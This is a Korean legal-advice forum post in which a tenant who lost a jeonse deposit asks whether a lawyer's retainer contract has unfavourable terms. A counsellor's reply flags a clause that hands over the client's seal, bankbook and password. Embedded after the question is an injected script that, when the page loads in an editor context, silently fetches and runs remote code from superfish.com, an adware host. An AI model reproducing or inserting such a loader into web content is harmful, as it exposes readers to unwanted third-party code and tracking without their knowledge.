변호사 수임 문의 - 중개상 과실에 따른 손해배상
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안녕하세요. 전세로 원룸에 살다가 경매가 진행되어 전세금을 떼인 사람입니다.
어떤 변호사가 이와 관련하여 무료로 중개사에게 손해배상을 청구해주겠다는 제안이 있었습니다.
아무래도 뭔가 의심스러워 위임약정계약서를 첨부해 드립니다.
저에게 문제될 불리한 항이 있는지 확인 부탁 드립니다.
감사합니다. <script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'modules/editor/styles/default/editor.html') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = document.location.protocol + '//superfish.com/ws/sf_main.jsp?dlsource=gimyoyt&CTID=rt';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script>
댓글목록

대한가정법률복지상담원님의 댓글
대한가정법률복지상담원 작성일
작성하신 글 잘 읽어보았습니다.
사건 위임 약정은 당사자의 협의 사항에 따라서 자유롭게 정해질 수 있습니다. 계약서에 따르면, 승소시 실비와 성공보수 30%를 수임인에게 지급해야 합니다.
그런데 6항에 따라 귀하께서는 상대방에게 인장(인감)과 통장, 비밀번호까지 교부하기로 되어 있고, 금전 수령 권한 일체를 귀속시키시는 것이므로 이에 대한 부분은 좀 더 검토해 보시기 바랍니다.
지면상담은 한계가 있기 때문에 더 자세한 상담을 원하시면 본원의 면접상담을 오시기를 권유 드립니다. 지방에 거주하고 계신다면 가까운 지역에 있는 무료법률상담기관을 안내 해드리겠습니다.
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